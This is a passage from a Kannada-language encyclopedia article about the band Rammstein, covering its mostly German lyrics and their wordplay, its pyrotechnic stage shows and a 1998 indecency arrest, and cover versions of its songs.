ಮಾಡಲಾಗುವುದಿಲ್ಲ" ಎಂಬ ಮಾತನ್ನು ಕೂಡ ಹೇಳಿದ. == ಹಾಡುಗಳ ಸಾಹಿತ್ಯ == [[ಚಿತ್ರ:Till-Lindemann.jpg|thumb|200px|ಗಾಯಕ ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್ ನ ಬಹುಪಾಲು ಸಾಹಿತ್ಯವನ್ನು ರಚಿಸಿದ್ದಾನೆ .]] ಸಾಮಾನ್ಯವಾಗಿ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಎಲ್ಲಾ ಹಾಡುಗಳು ಜರ್ಮನ್ ಭಾಷೆಯಲ್ಲಿವೆ. ಆದರೂ ಈ ವಾದ್ಯವೃಂದ ಇಂಗ್ಲೀಷ್ ನ ಹಾಡುಗಳ ಧ್ವನಿ ಮುದ್ರಣವನ್ನೂ ಕೂಡ ಮಾಡಿದೆ. ಉದಾಹರಣೆಗೆ :[["ಸ್ಟ್ರಿಪ್ಡ್"]](ಡೆಪೆಚೆ ಮೋಡ್)ನ ಕವರ್ ಆಫ್ ದಿ ಸಾಂಗ್. ಇದರ ಜೊತೆಯಲ್ಲಿ "ಅಮೇರಿಕ" ದ ಹಾಡಾದ "ಸ್ಟ್ರಿಬ್ ನಿಚ್ಟ್ ವೊರ್ ಮಿರ್/ಡೋನ್ಟ್ ಡೈ ಬಿಫೋರ್ ಐ ಡು" ಹಾಗು "ಪುಸಿ" ಇಂಗ್ಲೀಷ್ ಸಾಹಿತ್ಯವನ್ನು ಒಳಗೊಂಡಿದೆ. "[[ಮೊಸಕೌ]]" ("ಮೊಸ್ ಕವ್") ಚರಣವನ್ನು ರಷ್ಯನ್ ಭಾಷೆಯಲ್ಲಿ ಒಳಗೊಂಡಿದೆ. "[[ಟೆ ಕ್ವೇರೋ ಪುತು]]!" ಸಂಪೂರ್ಣವಾಗಿ ಸ್ಪ್ಯಾನಿಷ್ ಭಾಷೆಯಲ್ಲಿದೆ. "ಜರ್ಮನ್ ಭಾಷೆಗೆ ಹೆವಿ ಮೆಟಲ್ ಸಂಗೀತ ಚೆನ್ನಾಗಿ ಹೊಂದುತ್ತದೆ. ಫ್ರೆಂಚ್ ಪ್ರೀತಿಗೆ ದ್ಯೋತಕವಾದ ಭಾಷೆಯಾಗಿರಬಹುದು, ಆದರೆ ಜರ್ಮನ್ ಕ್ರೋಧಕ್ಕೆ" ದ್ಯೋತಕವಾದ ಭಾಷೆಯಾಗಿದೆ; ಎಂದು ಆಲಿವರ್ ರೀಡೆಲ್ ಹೇಳಿದ್ದಾನೆ.<ref>{{cite news | title =''Sunday Herald Sun'', Melbourne, Australia | accessdate = 2006-10-24 | publisher = Sunday Herald-Sun}}</ref> ಗಾಯಕ ಟಿಲ್ ಮನ್ ನಿಂದ ಬರೆಯಲ್ಪಟ್ಟ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಸಾಹಿತ್ಯ ಮತ್ತು ಎಲ್ಲಾ ಪದ್ಯಗಳು ಸಂಗೀತದ ಪ್ರಮುಖ ಅಂಶವಾಗಿವೆ. ಅಲ್ಲದೇ ಅಭಿಮಾನಿಗಳ ಹಾಗು ಸಾರ್ವಜನಿಕರ ಗ್ರಹಿಕೆಗೆ ಹೊಂದಿಕೆಯಾಗುವಂತಿವೆ. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಶಾಸ್ತ್ರಿಯ ಜರ್ಮನ್ ಸಾಹಿತ್ಯದ ಹಾಡಿನ ಸಾಹಿತ್ಯವನ್ನೂ ಕೂಡ ಬಳಸಿಕೊಂಡಿದೆ.ಉದಾಹರಣೆಗೆ:ಜಾನ್ ವುಲ್ಫ್ ಗ್ಯಾಂಗ್ ಗೋಥೆಸ್ ನ ಜನಪ್ರಿಯ ಪದ್ಯ ''[[ಡರ್ ಎರ್ಕೊನಿಗ್]]'' (1778) ಹಾಗು ''[[ಡಾಸ್ ಹ್ಯೇಡೆನ್ ರೋಸ್ಲಿನ್]] '' (1771) ಹಾಡುಗಳನ್ನು ಅನುಕ್ರಮವಾಗಿ "ದಲೈಲಾಮ" ಮತ್ತು "ರೋಸೆನ್ ರೋಟ್" ಹಾಡುಗಳಿಗೆ ಬಳಸಿಕೊಂಡಿದೆ.<ref>''ಲ್ಯೂಕ್'' , ಲ್ಯೂಕ್, ಮಾರ್ಟೀನ. “ಮಾರ್ಡರ್ನ್ ಕ್ಲಾಸಿಕಲ್: ರಿಫ್ಲೆಕ್ಷನ್ಸ್ ಆನ್ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಇನ್ ದಿ ಜರ್ಮನ್ ಕ್ಲಾಸ್.” ಡೈಅಟ್ಟರ್ ರಿಚ್ಟ್ಸ್ ಸ್ಪಾರ್ಕ್ಸಿಸ್ /ಟೀಚಿಂಗ್ ಜರ್ಮನ್ 41:1 (ಸ್ಪ್ರಿಂಗ್ 2008): 15-23.</ref> ಅವರ ಅನೇಕ ಹಾಡುಗಳು ನಿಜ ಜೀವನದ ಘಟನೆಗಳ ಪ್ರಭಾವಕ್ಕೆ ಒಳಗಾಗಿದ್ದವು. ಈ ಹಾಡುಗಳು "ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌" ನ ([[ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಏರ್ ಶೋ ಡಿಸಾಸ್ಟರ್]] ), "ಮ್ಯೇನ್ ಟಿಲ್" ([[ದಿ ಮ್ಯೆವಿಸ್ ಕೇಸ್]]), "ವಿನರ್ ಬ್ಲುಟ್" ([[ಫ್ರಿಟ್ಸ್ಜಲ್ ಕೇಸ್]]), ಮತ್ತು "ಡೋನೌಕಿನ್ ಡರ್ " (ಬೈಅ ಮೇರ್ ಅಪಘಾತ{/0ವನ್ನು) ಒಳಗೊಂಡಿದ್ದವು. ಶಬ್ದ ಚಮತ್ಕಾರವು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಸಾಹಿತ್ಯದ ಮೂಲಭೂತ ಅಂಶವಾಗಿದೆ. ಹಲವು ಸಂದರ್ಭಗಳಲ್ಲಿ ಇವರ ಹಾಡಿನ ಸಾಹಿತ್ಯವನ್ನು ಅನೇಕ ರೀತಿಯಲ್ಲಿ ವ್ಯಾಖ್ಯಾನಿಸಲಾಗಿದೆ. ಉದಾಹರಣೆಗೆ "ಡು ಹ್ಯಾಸ್ಟ್" ಎಂಬ ಹಾಡು.ಇದು ಜರ್ಮನ್ ನ [[ಮದುವೆ]]ಯಲ್ಲಿ ಮಾಡುವ ಶಪಥದ(ಸಾಕ್ಷಿ ಪ್ರಜ್ಞೆ) ಬಗ್ಗೆ ಇರುವಂತಹ ನಾಟಕವಾಗಿದೆ. (''ವಿಲಸ್ಟ್ ಡು, ಬಿಸ್ ಡರ್ ತೋಡ್ ಎಚ್ ಸುಚೆದೆತ್, ತ್ರೆವೊ ಇಹರ್ ಸೇಇನ್ ಫುರ್ ಅಲ್ಲೆ ತಗೆ?'' – "ಮೃತ್ಯು ನಿಮ್ಮನ್ನು ಬೇರೆ ಮಾಡುವ ವರೆಗೂ, ನೀನು ಬದುಕಿರುವ ವರೆಗೂ ಅವಳ ನಂಬಿಕೆಗೆ ಯೋಗ್ಯನಾಗಿರಲು ನೀನು ಇಚ್ಛಿಸುತ್ತೀಯಾ?") ಈ ಹಾಡಿನಲ್ಲಿ ''ಜ'' ("ಇದೆ") ಎಂಬ ಪದವನ್ನು ''ನ್ಯೇ'' ("ಇಲ್ಲ") ಎಂಬ ಪದದ ಬದಲಿಗೆ ಬಳಸುವ ಮೂಲಕ ಒಪ್ಪಿಗೆ ಸೂಚಿಸಲಾಗುತ್ತದೆ. ಈ ಸಾಲಿನ ಪುನರಾವರ್ತನೆ ಶಬ್ದಗಳಲ್ಲಿ ಸ್ವಲ್ಪ ಬದಲಾವಣೆಯನ್ನು ಉಂಟುಮಾಡುತ್ತದೆ. ''ವಿಲಸ್ಟ್ ಡು, ಬಿಸ್ ಜುಮ್ ತೋಡ್, ಡರ್ ಸುಚೆಇದೆ ...'' . (ಮೃತ್ಯು ನಿಮ್ಮನ್ನು ಬೇರೆ ಮಾಡುವ ವರೆಗೂ ನಿನಗೆ ಬೇಕಾ ...),''ವಿಲಸ್ಟ್ ಡು, ಬಿಸ್ ಜುಮ್ ತೋದ್ ದೇರ್ ಸುಚೆಇದೆ ...'' ಇದು ಅದರಂತೆಯೇ ಕೇಳಿಸಿದರೂ ಕೂಡ ಈ ಬದಲಾವಣೆಯು ಮುಂದೆ ಮೂಲ ಶಪಥವನ್ನು ತಪ್ಪಾಗಿ ಅರ್ಥೈಸುತ್ತದೆ. ([[ಹೆಣ್ಣ್ ತನ]]ಕೊನೆಗೊಳ್ಳುವ ವರೆಗೂ ನಿನಗೆ ಇಷ್ಟವಾ,...). ಹಾಡು, ಶಬ್ದಗಳ ಮೇಲೆ ಪ್ರದರ್ಶನ ಮಾಡುವುದರೊಂದಿಗೆ ಪ್ರಾರಂಭವಾಗುತ್ತದೆ: ''ಡು... '' ''ಡು ಹ್ಯಾಸ್ಟ್... '' ''ಡು ಹ್ಯಾಸ್ಟ್ ಮಿಚ್...'' ಇದರ ಅರ್ಥ "ನೀನು ನನ್ನನ್ನು ಪಡೆದಿರುವೆ". ಈ ಸಾಲನ್ನು "ನೀನು ನನ್ನನ್ನು ದ್ವೇಷಿಸುವೆ" ಎಂದು ಮತ್ತೆ ತಪ್ಪಾಗಿ ಅರ್ಥೈಸಲಾಗಿದೆ. ಏಕೆಂದರೆ ಜರ್ಮನ್ ನಲ್ಲಿ ಅತಿ ಸೂಕ್ಷ್ಮವಾದ(ಯಾವುದಾದರೂ) ವ್ಯತ್ಯಾಸ (''ಹ್ಯಾಸ್ಟ್'' ಅನ್ನು ಕೊಂಚ ''ಹಾಸ್ಸ್ಟ್'' ಗಿಂತ ಮೆಲುವಾಗಿ ಉಚ್ಛರಿಸಲಾಗುತ್ತದೆ) ಅಂದರೆ ''ಡು ಹಾಸ್ಸ್ಟ್'' ನ ಉಚ್ಛರಣೆಯ ನಡುವೆ ಸೂಕ್ಷ್ಮ ವ್ಯತ್ಯಾಸವಿದೆ .ಇದರ ಅರ್ಥ "ನೀನು ನನ್ನನ್ನು ದ್ವೇಷಿಸುವೆ" ಮತ್ತು ''ಡು ಹ್ಯಾಸ್ಟ್ '' ಇದರ ಅರ್ಥ "ನೀನು ನನ್ನನ್ನು ಹೊಂದಿರುವೆ". ವಾಕ್ಯ ಕೊನೆಗೊಂಡ ನಂತರ ಪದಗಳ ಚಮತ್ಕಾರವನ್ನು ನಿರ್ಧರಿಸಲಾಯಿತು; ''ಡು ಹ್ಯಾಸ್ಟ್ ಮಿಚ್ ಜೆಫ್ರ್ಯಾಗ್ಟ್'' ("ನೀನು [ಹೊಂದಿರುವೆ] ನನ್ನನ್ನು ಕೇಳಿದೆ"). ವಾದ್ಯವೃಂದವು ಗೊಂದಲದಿಂದಾಗಿ "ನೀನು ದ್ವೇಷಿಸುವೆ" ಎಂಬ ಇಂಗ್ಲೀಷ್ ಆವೃತ್ತಿಯ ಗೀತೆಯನ್ನೂ ಕೂಡ ಮಾಡಿದರು. ಇದನ್ನು "ಡು ಹ್ಯಾಸ್ಟ್" ನಿಂದ ನೇರವಾಗಿ ಅನುವಾದ ಮಾಡಿರಲಿಲ್ಲ. "ಡು ಹ್ಯಾಸ್ಟ್" ನ ಬಗ್ಗೆ ಅನೇಕ ಚರ್ಚೆಗಳು ನಡೆದವು . ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಈ ಪದವನ್ನು ತಪ್ಪು ನಿರ್ದೇಶನ ಮಾಡಲು ಮತ್ತು ಗೀತೆಯಲ್ಲಿ ಹಾಸ್ಯ ಸೃಷ್ಟಿಸಲು ಬೇಕೆಂದೇ ಬಳಸಿದೆ, ಎಂದು ಹೇಳಲಾಗುತ್ತದೆ. ಇದು ಪದಗಳನ್ನು ಉಚ್ಛರಿಸುವ ನಾಟಕವಾಗಿದ್ದು ಜರ್ಮನ್ ಮಾತೃ ಭಾಷೆಯಲ್ಲದವರಿಗೆ ಗೊಂದಲವನ್ನುಂಟು ಮಾಡಿತು. 1997ರಲ್ಲಿ ಜಪಾನೀಯರಿಂದ ಪಡೆದ ಸೆನ್ ಸುಚ್ಟ್ ಡು ಹ್ಯಾಸ್ಟ್ ನ ಇಂಗ್ಲೀಷ್ ಆವೃತ್ತಿಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಈ ಹಾಡನ್ನು ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ''ನೀನು... '' ಪದವನ್ನು ಬಳಸಿ ಹಾಡಿದ.''ನೀನು ದ್ವೇಷಿಸುವೆ... '' ''ನೀನು ನನ್ನನ್ನು ದ್ವೇಷಿಸುವೆ ...'' ಇದು ''ನೀನು ನನಗೆ ಹೇಳಲು ಇಷ್ಟಪಡುತ್ತಿಲ್ಲ, ಮತ್ತು ನಾನು ಒಪ್ಪುವುದಿಲ್ಲ...'' ಈ ಸಾಲುಗಳನ್ನು ಅನುಸರಿಸಿರುವ ಸಾಹಿತ್ಯದ ಆವೃತ್ತಿಯಾಗಿದೆ. == ನೇರ ಪ್ರದರ್ಶನದ ಕಾರ್ಯಕ್ರಮ == ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ವೇದಿಕೆಯ ಮೇಲೆ ನೇರ ಪ್ರದರ್ಶನ ನೀಡುವುದರ ಮೂಲಕ ವಿಶಿಷ್ಟ ಖ್ಯಾತಿ ಪಡೆಯಿತು.(ಕುಖ್ಯಾತಿಯನ್ನೂ ಎಂದು ಬೇರೆ ಹೇಳಬೇಕಾಗಿಲ್ಲ).ಅವರ ಪ್ರದರ್ಶನದಲ್ಲಿ ಅನೇಕ [[ಭಾವೋದ್ವೇಗಪೂರ್ಣ]] ತಂತ್ರವನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತಿದ್ದರು.ಅಭಿಮಾನಿಗಳು ಇವರ ಪ್ರದರ್ಶನವನ್ನು ನೋಡಿ ಅಂತಿಮಾವಾಗಿ "ಇತರ ವಾದ್ಯವೃಂದಗಳು ಪ್ರದರ್ಶಿಸುತ್ತವೆ, ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಪ್ರಜ್ವಲಿಸುತ್ತದೆ!" ಎಂಬ ವಾಕ್ಯವನ್ನು ರಚಿಸಿದ್ದಾರೆ. [[ಮ್ಯಾನೊವರ್]]' ಹಾಡಾದ "ಕಿಂಗ್ಸ್ ಆಫ್ ಮೆಟಲ್ "ನ ಬಗ್ಗೆ ವ್ಯಂಗ್ಯಮಾಡಲಾಗಿದೆ; ಇದನ್ನು "ಇತರ ವಾದ್ಯವೃಂದಗಳು ಪ್ರದರ್ಶಿಸುತ್ತವೆ, ಮ್ಯಾನೊವರ್ ಕೊಲ್ಲುತ್ತದೆ"ಎಂದು ಹೇಳಿದೆ). ಬೆಂಕಿ ಹತ್ತಿಕೊಂಡು ಉರಿಯುತ್ತಿದ್ದ ಕೆಲವು ಅಲಂಕೃತ ಭಾಗಗಳು ಪ್ರೇಕ್ಷಕರ ಮೇಲೆ ಬಿದ್ದವು. ಈ ದುರ್ಘಟನೆ ಬರ್ಲಿನ್ ನ ಏರೆನ್ ನಲ್ಲಿ ನಡೆದ ನಂತರ (1996<ref>{{cite web | url = http://rammstein-europe.com/main.php?sekce=till-lindemann&l=en | title = Till Lindemann Biography | accessdate = 2007-05-10 | publisher = Rammstein-Europe.com | archive-date = 2007-07-01 | archive-url = https://web.archive.org/web/20070701191646/http://www.rammstein-europe.com/main.php?sekce=till-lindemann&l=en | url-status = dead }}</ref> ಸೆಪ್ಟೆಂಬರ್ 27 ರಂದು)ವಾದ್ಯವೃಂದವು ಚೆನ್ನಾಗಿ ಅನುಭವ ಪಡೆದಿರುವವರನ್ನು ಮಾತ್ರ [[ಭಾವೋದ್ವೇಗಪೂರ್ಣ]] ಪ್ರದರ್ಶನ ನೀಡಲು ಉಪಯೋಗಿಸಿತು: ಈಗ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ಕೂಡಾ ಬಿರುಸಿನ ಪ್ರದರ್ಶನ ನೀಡಲು ಪ್ರಾರಂಭಿಸಿದ. ಈತ ಪ್ರಾರಂಭದಿಂದ ಅಂತ್ಯದವರೆಗೂ ಹೊತ್ತಿ ಉರಿಯುತ್ತಿರುವ ಜ್ವಾಲೆ ಈಡೀ ಹಾಡನ್ನು ಆವರಿಸುವಂತೆ ಮಾಡಿದ್ದ. ಆತ ಕಿವಿ, ಕೂದಲು ಮತ್ತು ಕೈಗಳ ಮೇಲೆ ಆದ ಅನೇಕ ಗಾಯಗಳಿಂದ ನರಳಿದ. [[ಚಿತ್ರ:Rammstein at Bercy (Paris) in 2009 (3).jpg|left|thumb|210px|ನೇರ ಪ್ರದರ್ಶನಗಳಲ್ಲಿ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಭಾವೋದ್ವೇಗ ವಿಧಾನವನ್ನು ಹೆಚ್ಚಾಗಿ ಬಳಸುವುದಕ್ಕೆ ಹೆಸರುವಾಸಿಯಾಗಿದೆ.]] ಬೆಂಕಿಯ ಶಾಖ ಎಷ್ಟು ತೀವ್ರವಾಗಿತ್ತೆಂದರೆ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಗಾನಗೋಷ್ಠಿಯಲ್ಲಿ ಬೆಂಕಿಯುಂಡೆಗಳ ಸತತ ಆಕ್ರಮಣದಿಂದ ಬೆಳಕಿನ ಆಧಾರ ಪೀಠಗಳು ಕೆಂಪಾಗಿ ಕಾದು ಅದರಿಂದ ಹೊರ ಬರುತ್ತಿದ್ದ ಶಾಖದಿಂದ ತೊಂದರೆಗೊಳಗಾದ ಜನರನ್ನು ಸಾಗಿಸಲಾಯಿತು. ಭಾವೋದ್ವೇಗಪೂರ್ಣ ಪ್ರದರ್ಶನದ ವೈವಿಧ್ಯತೆಯನ್ನು ನಾವು ಇತ್ತೀಚಿನ ಗಾನ ಗೋಷ್ಠಿಗಳ ಪ್ರದರ್ಶನ ಪಟ್ಟಿಯಲ್ಲಿ{{Which?|date=April 2010}} ಕಾಣಬಹುದು.ಈ ಪ್ರದರ್ಶನಗಳು ಕೆಳಕಂಡ ವಸ್ತುಗಳನ್ನು ಒಳಗೊಂಡಿದ್ದವು: "[[ಲೈಕೋಪೋಡಿಯಮ್]] ಮುಖವಾಡಗಳು", "ಗ್ಲಿಟ್ಟರ್ ಬರ್ಸ್ಟ್ ಟ್ರಸ್", "ಪೈರೋಸ್ಟ್ರೋಬ್ಸ್", "ಕಾಮಿಟ್ಸ್"(ಧೂಮಕೇತು), "ಫ್ಲಾಶ್ ಟ್ರೇ" ಮತ್ತು "ಮಾರ್ಟರ್ ಹಿಟ್ಸ್". "ಪುಸಿ" ಆಲ್ಬಂನ ನೇರ ಪ್ರದರ್ಶನದ ಕಾರ್ಯಕ್ರಮದ ಸಂದರ್ಭದಲ್ಲಿ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ಪ್ರೇಕ್ಷಕರ ಮೇಲೆ ಬಿಳಿಬಣ್ಣದ ನೊರೆಯನ್ನು ಚಿಮುಕಿಸುತ್ತಿದ್ದ; ನೊರೆ ತೋಪನ್ನು [[ಉದ್ಗಾರ]]ದ ಪ್ರತೀಕವಾಗಿ ಉಪಯೋಗಿಸಿದ್ದ. ವಾದ್ಯವೃಂದದವರ ವೇಷಭೂಷಣ ಸಂಪೂರ್ಣವಾಗಿ ವಿಚಿತ್ರವಾಗಿದ್ದವು. ''ರೇಸೆ, ರೇಸೆ'' ಪ್ರವಾಸದ ಸಂದರ್ಭದಲ್ಲಿ ಅವರು [[ತೊಗಲುಚಡ್ಡಿ]] , [[ಒಳಗವಚ]] ಮತ್ತು ಸ್ಟೀಲ್ ಹೆಲ್ಮೆಟ್ ನ ಜೊತೆಯಲ್ಲಿ ಅಸ್ಪಷ್ಟವಾದ ಸೈನಿಕರ ಸಮವಸ್ತ್ರವನ್ನು ಧರಿಸಿದ್ದರು. ''ಮುಟ್ಟರ್'' ಪ್ರವಾಸದಲ್ಲಿ ತಂಡದವರು ಆಲ್ಬಂನ ವಸ್ತುವಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ವಜ್ರಕವಚದ ಬಟ್ಟೆಯನ್ನು ಹಾಕಿ ದೊಡ್ಡ [[ಹೊಟ್ಟೆ]]ಯನ್ನು ತೋರಿಸಿಕೊಂಡು ವೇದಿಕೆಗೆ ಇಳಿದರು. ಕ್ರುಸ್ಪೆಯ ಪ್ರಕಾರ ವೇದಿಕೆಯ ಮೇಲೆ ಅವರು ಮಾಡುತ್ತಿದ್ದ ತಿಕ್ಕಲುತನ ಸಂಪೂರ್ಣವಾಗಿ ಉದ್ದೇಶಪೂರ್ವಕವಾಗಿತ್ತು.(ಸ್ಚೆನೈಡರ್ ನ ಪ್ರಕಾರ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಉದ್ದೇಶವೇನೆಂದರೆ"ನಿನ್ನ ಕೆಲಸವನ್ನು ಮಾಡು. ಮತ್ತು ಅದನ್ನು ಶಕ್ತಿ ಮೀರಿ ಮಾಡು!"). ಅವರ ಮುಖ್ಯ ಗುರಿ ಜನರ ಗಮನ ಸೆಳೆಯುವುದು. ಅಲ್ಲದೇ ಅದೇ ಸಮಯದಲ್ಲಿ ಜನರಿಗೆ ಮನರಂಜನೆಯನ್ನೂ ಕೂಡ ಒದಗಿಸುವುದು:ಪ್ರದರ್ಶನದಲ್ಲಿ ಶೇಕಡ 99ರಷ್ಟು ಜನರು ಸಾಹಿತ್ಯವನ್ನು ಅರ್ಥಮಾಡಿಕೊಳ್ಳುವುದಿಲ್ಲ, ಎಂದು ನೀವು ತಿಳಿದುಕೊಳ್ಳ ಬೇಕು.ಆಗ ನಾವು ಪ್ರದರ್ಶನದಲ್ಲಿ ಸ್ವಲ್ಪ ನಾಟಕವನ್ನು ಇಟ್ಟುಕೊಳ್ಳಬೇಕಾಗುತ್ತದೆ. ನಾವು ಏನನ್ನಾದರೂ ಮಾಡಬೇಕು. ನಮಗೆ ಇಂತಹ ಪ್ರದರ್ಶನಗಳೆಂದರೆ ಇಷ್ಟ; ನಮಗೆ ಬೆಂಕಿಯನ್ನು ಬಳಸಿಕೊಂಡು ಪ್ರದರ್ಶನ ಮಾಡುವುದು ಇಷ್ಟ. ನಮಗೂ ಹಾಸ್ಯದ ಪ್ರಜ್ಞೆ ಇದೆ ನಾವು ಅದರ ಬಗ್ಗೆ ನಗುತ್ತೇವೆ; ನಾವೂ ಮನರಂಜನೆ ಪಡೆಯುತ್ತೇವೆ... ಆದರೆ ನಾವು [[ಸ್ಪೈನಲ್ ಟ್ಯಾಪ್]] (ಪೂರ್ಣವಿವರ)ಗಳಲ್ಲ . ನಾವು ಸಂಗೀತ ಮತ್ತು ಸಾಹಿತ್ಯವನ್ನು ಗಂಭೀರವಾಗಿ ಪರಿಗಣಿಸುತ್ತೇವೆ. ಇದು ಹಾಸ್ಯ ನಾಟಕದ ಮತ್ತು ನಮ್ಮ [[ಪೂರ್ವ ಜರ್ಮನ್]] ಸಂಸ್ಕೃತಿಯ ಸಂಯೋಗವಾಗಿದೆ ಎಂಬುದು ನಿನಗೆ ಗೊತ್ತಾ?"<ref>{{cite news | title=''The Grand Rapids Press' | date = 1999-07-22 | publisher = Grand Rapids Press }} </ref> ವೇದಿಕೆಯ ಮೇಲಿನ ಅವರ ವಿಚಿತ್ರ ವರ್ತನೆಗಳೂ ಕೂಡ ಅವರನ್ನು ತೊಂದರೆಗೆ ಸಿಲುಕಿಸಿದವು. 1998 ರ ಅವರ ಅಮೇರಿಕನ್ ಫ್ಯಾಮಿಲಿ ವ್ಯಾಲ್ಯೂಸ್ ಪ್ರವಾಸದ ಸಮಯದಲ್ಲಿ ಅವರು ರಾಪರ್ [[ಐಸ್ ಕ್ಯೂಬ್]] , [[ಕಾರ್ನ್]] , ಲಿಮ್ಪ್ ಬಿಜ್ ಕಿಟ್ ಮತ್ತು ಒರ್ಜಿ ತಂಡಗಳೊಂದಿಗೆ ಪ್ರದರ್ಶನ ನೀಡಿದ್ದರು. ಆಗ ವಾದ್ಯವೃಂದವನ್ನು ಅನೌಚಿತ್ಯದ ಕಾರಣ ಬಂಧಿಸಲಾಗಿತ್ತು. ಮ್ಯಾಸ್ಸಚುಸೆಟ್ಟ್ಸ್ ನಲ್ಲಿ ಮಾಡಿದ "ಬುಕ್ ಡಿಚ್ ಇನ್ ವೋರ್ಸೆಸ್ಟರ್" ಪ್ರದರ್ಶನದಲ್ಲಿ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಗಾಯಕ ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ಕೀಬೋರ್ಡ್ ನುಡಿಸುವವನಾದ ಕ್ರಿಸ್ಟೀನ್ ಲಾರೆನ್ಜ್ ನ ಜೊತೆಯಲ್ಲಿ [[ವಿಕೃತ ಸಂಭೋಗ]] ನಡೆಸುತ್ತಿರುವಂತೆ ಅಭಿನಯಿಸಿದ್ದು ಅತ್ಯಂತ ಕೆಟ್ಟ ಹೆಸರನ್ನು ಪಡೆದ ಕ್ಷಣಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಬಳಿಕ ಅವರನ್ನು ಬಂಧಿಸಿ $25 ದಂಡ ವಿಧಿಸಲಾಯಿತು. ಅಲ್ಲದೇ ಅವರು ಒಂದು ದಿನ ಜೈಲಿನಲ್ಲಿ ಕಳೆಯಬೇಕಾಯಿತು. ವಾದ್ಯವೃಂದ ದಂಡವನ್ನು ಕಟ್ಟಿತು. ಅಲ್ಲದೇ $25 ಕ್ಕಿಂತ ಹೆಚ್ಚು ಹಣವನ್ನು ಕಾನೂನು ಶುಲ್ಕಕ್ಕೆ ಮತ್ತು ನ್ಯಾಯಾಲಯದ ಶುಲ್ಕಕ್ಕೆ ವೆಚ್ಚ ಮಾಡಿತು.{{Citation needed|date=August 2009}} == ಮುಖಪುಟಗಳು ಮತ್ತು ಅಳವಡಿಕೆಗಳು == {{Refimprove|section|date=March 2010}} ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌'ನ ಹಾಡುಗಳು ಅನೇಕ ಇತರ ಕಲಾವಿದರನ್ನು ಒಳಗೊಂಡಿವೆ. ಇದು ಈ ಕೆಳಗಿನವುಗಳನ್ನು ಒಳಗೊಂಡಿದೆ: * "[[ಏಂಜಲ್]]" ಅನೇಕ ಕಲಾವಿದರನ್ನು ಒಳಗೊಂಡಿದೆ: ** ತಂಡವು [[ಗ್ರೇಗೋರಿಯನ್]] ಅನ್ನು ಅವರ ದಿ ಡಾರ್ಕ್ ಸೈಡ್ ಆಲ್ಬಂಗೋಸ್ಕರ [[ಗ್ರೇಗೋರಿಯನ್ ಹಾಡಾಗಿ]] ಬದಲಾಯಿಸಿದರು. ** ಜರ್ಮನ್ ಗಾಯಕ [[ಹಿಲ್ಡೆಗ್ಯಾರ್ಡ್ ನೆಫ್]] ಹಾಡಿನ ಮುಖಪುಟವನ್ನು ಮುದ್ರಿಸಿದನು. ** ಬೆಲ್ಜಿಯನ್ ಗಲ್ಸ್ ಕೋಯ್ ರ್ [[ಸ್ಕ್ಯಾಲಾ ಮತ್ತು ಕೊಲ್ಯಾಕ್ ನಿ ಬ್ರದರ್ಸ್]] ಮೂಲಕ್ಕೆ ತದ್ವಿರುದ್ಧವಾಗಿರುವ ಆವೃತ್ತಿಯನ್ನು ಧ್ವನಿ ಮುದ್ರಿಸಿದರು. ** ಇದನ್ನು ಚಿಲಿಯನ್ ಆಗ್ರೋಟೆಕ್/ಔದ್ಯೋಗಿಕ ಮೆಟಲ್ ವಾದ್ಯವೃಂದ ವಿಜಿಲೆಂಟ್ ಅವರ 2008ರ ಮರು ಮಿಶ್ರಿತ ಧ್ವನಿ ಮುದ್ರಣದ ಆಲ್ಬಂನಲ್ಲಿ ಸೇರಿಸಲಾಗಿದೆ. ** ಟ್ರೂಫೆಲ್ ಸ್ಚಿವಿನ್ ಎಂದು ಕರೆಯುವ "ಏಂಜಲ್" ನ ಅಸ್ಪಷ್ಟ [[ಅಣಕಬರಹ]] 1990 ರ ಜನಪ್ರಿಯ [[P2P]] ನೆಟ್ ವರ್ಕ್ ನಲ್ಲಿ ದೊರೆಯುತ್ತದೆ. ಹಾಡನ್ನು ಮತ್ತೆ ಮಾಡಿದ ಗೌರವ ಎರಡು ತಂಡಗಳಲ್ಲಿ ಒಂದಕ್ಕೆ ಸಲ್ಲುತ್ತದೆ ;[[ಕ್ನೋರ್ ಕೇಟರ್]] ಮತ್ತು ಯುರಿನ್ ಸ್ಟೀನ್ , ಆದರೂ ಇದನ್ನು ಸ್ಪಷ್ಟಪಡಿಸುವ ಯಾವುದೇ ಮಾಹಿತಿ ಸಿಕ್ಕಿಲ್ಲ. ಸಾಮಾನ್ಯವಾಗಿ ಈ ಹಾಡು ಯುರಿಸ್ಟೀನ್ ಮಾಡಿರುವ ಏನ್ ಜಿಪಿಸ್ಟ್ ಆಲ್ಬಂನಿಂದ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ. * "[[ಮ್ಯೇನ್ ಹರ್ಜ್ ಬ್ರೆನ್ನ್ ಟ್]] ": ಜರ್ಮನ್ ರಚನಕಾರ ಟಾರ್ಸ್ಟೇನ್ ರಾಸ್ಚ್ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಸಂಗೀತವನ್ನು 